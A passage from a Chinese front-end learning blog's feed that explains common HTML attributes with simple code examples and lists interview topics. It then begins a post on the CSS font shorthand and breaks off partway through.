&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://example.com&amp;#34;&lt;/span&gt;&amp;gt;Go to example.com&amp;lt;/&lt;span style="color:#f92672"&gt;a&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;src&lt;/code&gt;&lt;/strong&gt;：指定图像、脚本或其他资源的路径。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;img&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;image.jpg&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;alt&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Image description&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;alt&lt;/code&gt;&lt;/strong&gt;：为图像提供替代文本，图像无法加载时显示。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;img&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;image.jpg&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;alt&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Alternative text&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;rel&lt;/code&gt;&lt;/strong&gt;：指定链接与目标文档的关系，常用于 &lt;code&gt;link&lt;/code&gt; 标签和 &lt;code&gt;a&lt;/code&gt; 标签。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;stylesheet&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;style.css&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;target&lt;/code&gt;&lt;/strong&gt;：定义链接的打开方式，常用值包括 &lt;code&gt;_self&lt;/code&gt;（当前窗口）和 &lt;code&gt;_blank&lt;/code&gt;（新窗口）。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://example.com&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;_blank&amp;#34;&lt;/span&gt;&amp;gt;Open in new tab&amp;lt;/&lt;span style="color:#f92672"&gt;a&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="5-多媒体属性"&gt;5. &lt;strong&gt;多媒体属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;controls&lt;/code&gt;&lt;/strong&gt;：为 &lt;code&gt;&amp;lt;audio&amp;gt;&lt;/code&gt; 或 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; 元素添加播放控件。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;video&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;video.mp4&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;controls&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;video&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;autoplay&lt;/code&gt;&lt;/strong&gt;：自动播放音频或视频。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;audio&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;audio.mp3&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;autoplay&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;audio&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;loop&lt;/code&gt;&lt;/strong&gt;：音频或视频播放完后重新开始播放。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;video&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;video.mp4&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loop&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;video&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;muted&lt;/code&gt;&lt;/strong&gt;：自动静音视频或音频。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;audio&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;audio.mp3&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;muted&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;audio&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="6-图像和媒体相关属性"&gt;6. &lt;strong&gt;图像和媒体相关属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;width&lt;/code&gt;&lt;/strong&gt; 和 &lt;strong&gt;&lt;code&gt;height&lt;/code&gt;&lt;/strong&gt;：定义图像或视频的宽度和高度。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;img&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;image.jpg&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;200&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;100&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="7-iframe-属性"&gt;7. &lt;strong&gt;iframe 属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;src&lt;/code&gt;&lt;/strong&gt;：定义嵌入的网页 URL。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;iframe&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://example.com&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;iframe&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sandbox&lt;/code&gt;&lt;/strong&gt;：为嵌入内容提供更严格的限制，控制 iframe 的行为。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;iframe&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://example.com&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sandbox&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;iframe&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="8-语义化属性"&gt;8. &lt;strong&gt;语义化属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;role&lt;/code&gt;&lt;/strong&gt;：为屏幕阅读器和辅助技术提供语义化描述。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;role&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;navigation&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="9-布局和可访问性属性"&gt;9. &lt;strong&gt;布局和可访问性属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;hidden&lt;/code&gt;&lt;/strong&gt;：隐藏元素，元素不会显示在页面中。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hidden&lt;/span&gt;&amp;gt;This content is hidden&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;tabindex&lt;/code&gt;&lt;/strong&gt;：定义元素的 tab 键导航顺序。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;tabindex&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&amp;gt;First&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;tabindex&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;&amp;gt;Second&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h3 id="1-全局属性global-attributes"&gt;1. &lt;strong&gt;全局属性（Global Attributes）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;class&lt;/strong&gt;：用于给元素指定样式类，如何使用多个类？有哪些常见用法？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;id&lt;/strong&gt;：唯一标识元素，&lt;code&gt;id&lt;/code&gt; 的作用和注意事项。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;style&lt;/strong&gt;：内联样式的作用及其优先级。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;title&lt;/strong&gt;：为元素提供额外信息（鼠标悬停时显示）。&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;em&gt;data-&lt;/em&gt; 属性&lt;/em&gt;*：自定义数据属性，如何在 JavaScript 中访问 &lt;code&gt;data-*&lt;/code&gt; 属性？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-事件属性event-attributes-1"&gt;2. &lt;strong&gt;事件属性（Event Attributes）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;onclick&lt;/strong&gt;、&lt;strong&gt;onmouseover&lt;/strong&gt; 等事件处理属性。&lt;/li&gt;
&lt;li&gt;如何使用事件属性进行事件绑定？&lt;/li&gt;
&lt;li&gt;事件属性和 JavaScript 事件监听器（&lt;code&gt;addEventListener&lt;/code&gt;）的区别和应用场景。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-表单属性"&gt;3. &lt;strong&gt;表单属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;name&lt;/strong&gt;：用于提交表单数据时作为键名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;action&lt;/strong&gt;：表单提交的目标 URL。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;method&lt;/strong&gt;：表单的提交方式（&lt;code&gt;GET&lt;/code&gt; 或 &lt;code&gt;POST&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;autocomplete&lt;/strong&gt;：是否启用表单自动填充。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;required&lt;/strong&gt;、&lt;strong&gt;pattern&lt;/strong&gt;、&lt;strong&gt;min/max&lt;/strong&gt; 等 HTML5 校验属性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-输入控件相关属性"&gt;4. &lt;strong&gt;输入控件相关属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;value&lt;/strong&gt;：为输入控件设置默认值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;placeholder&lt;/strong&gt;：为输入框提供提示文本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;disabled&lt;/strong&gt;：禁用输入控件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;readonly&lt;/strong&gt;：只读属性，控件不能被修改。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;maxlength/minlength&lt;/strong&gt;：输入字符长度的限制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;accept&lt;/strong&gt;：文件上传时，限制允许的文件类型（适用于 &lt;code&gt;&amp;lt;input type=&amp;quot;file&amp;quot;&amp;gt;&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-媒体元素属性"&gt;5. &lt;strong&gt;媒体元素属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;src&lt;/strong&gt;：媒体文件的路径（适用于 &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;audio&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; 等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;alt&lt;/strong&gt;：图片无法加载时显示的替代文本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;controls&lt;/strong&gt;：是否为媒体文件显示默认控制条。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;autoplay&lt;/strong&gt;：媒体文件是否自动播放。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;loop&lt;/strong&gt;：媒体文件是否循环播放。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;muted&lt;/strong&gt;：媒体文件是否静音。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6-超链接相关属性"&gt;6. &lt;strong&gt;超链接相关属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;href&lt;/strong&gt;：链接目标的 URL。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;target&lt;/strong&gt;：定义链接打开的方式（如 &lt;code&gt;_blank&lt;/code&gt; 打开新窗口）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;download&lt;/strong&gt;：允许下载链接资源，而不是导航到资源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;rel&lt;/strong&gt;：定义链接与当前文档的关系（如 &lt;code&gt;nofollow&lt;/code&gt;、&lt;code&gt;noopener&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="7-iframe-属性-1"&gt;7. &lt;strong&gt;iframe 属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;src&lt;/strong&gt;：嵌入的文档或网页的 URL。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;sandbox&lt;/strong&gt;：启用或禁用特定行为（如禁止脚本、表单提交等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;allow&lt;/strong&gt;：控制 iframe 内的权限（如允许摄像头、麦克风访问）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="8-图像和图形属性"&gt;8. &lt;strong&gt;图像和图形属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;srcset&lt;/strong&gt;：为不同设备提供不同分辨率的图像资源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;sizes&lt;/strong&gt;：配合 &lt;code&gt;srcset&lt;/code&gt;，定义不同视口下图像显示的尺寸。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;usemap&lt;/strong&gt;：指定图片使用的图像映射。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;height/width&lt;/strong&gt;：定义图片或其他元素的高度和宽度。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="9-meta-标签属性"&gt;9. &lt;strong&gt;meta 标签属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;charset&lt;/strong&gt;：指定文档的字符编码（如 &lt;code&gt;UTF-8&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;name&lt;/strong&gt; 和 &lt;strong&gt;content&lt;/strong&gt;：为文档提供元信息（如 &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;viewport&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;http-equiv&lt;/strong&gt;：配合 &lt;code&gt;content&lt;/code&gt;，定义 HTTP 头信息（如 &lt;code&gt;refresh&lt;/code&gt;, &lt;code&gt;Content-Type&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="10-无障碍相关属性"&gt;10. &lt;strong&gt;无障碍相关属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;em&gt;aria-&lt;/em&gt; 属性&lt;/em&gt;*：为无障碍工具（如屏幕阅读器）提供更多语义信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;role&lt;/strong&gt;：指定元素的功能角色，增强无障碍性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="11-iframe-和图片的懒加载"&gt;11. &lt;strong&gt;iframe 和图片的懒加载&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;loading=&amp;ldquo;lazy&amp;rdquo;&lt;/strong&gt;：为图片和 iframe 启用懒加载。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-语言和方向属性"&gt;12. &lt;strong&gt;语言和方向属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;lang&lt;/strong&gt;：指定元素或页面的语言（如 &lt;code&gt;lang=&amp;quot;en&amp;quot;&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dir&lt;/strong&gt;：指定文本的书写方向（如 &lt;code&gt;ltr&lt;/code&gt; 左到右，&lt;code&gt;rtl&lt;/code&gt; 右到左）。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>font</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/font/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/font/</guid><description>&lt;h2 id="什么是-font-属性"&gt;什么是 font 属性？&lt;/h2&gt;
&lt;p&gt;在CSS中， &lt;code&gt;font&lt;/code&gt; 属性是一个简写属性，用于设置字体的多个相关属性，包括字体大小、字体样式、字体粗细、字体系列等。使用 &lt;code&gt;font&lt;/code&gt; 属性可以方便地在一个声明中设置多个字体相关的样式。&lt;/p&gt;
&lt;h2 id="font-属性的语法"&gt;font 属性的语法&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;font&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;font-style&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;font-variant&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;font-weight&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;font-size&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;line-height&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;font-family&lt;/span&gt;&lt;span style="color:#f92672"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="各个属性的详细说明"&gt;各个属性的详细说明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;font-style&lt;/strong&gt;：设置字体的样式。&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;取值：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;normal&lt;/code&gt;：正常字体（默认值）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;italic&lt;/code&gt;：斜体字。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oblique&lt;/code&gt;：倾斜字体。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;font-variant&lt;/strong&gt;：设置字体的变体。&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;取值：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;normal&lt;/code&gt;：正常（默认值）。&lt;/li&gt;
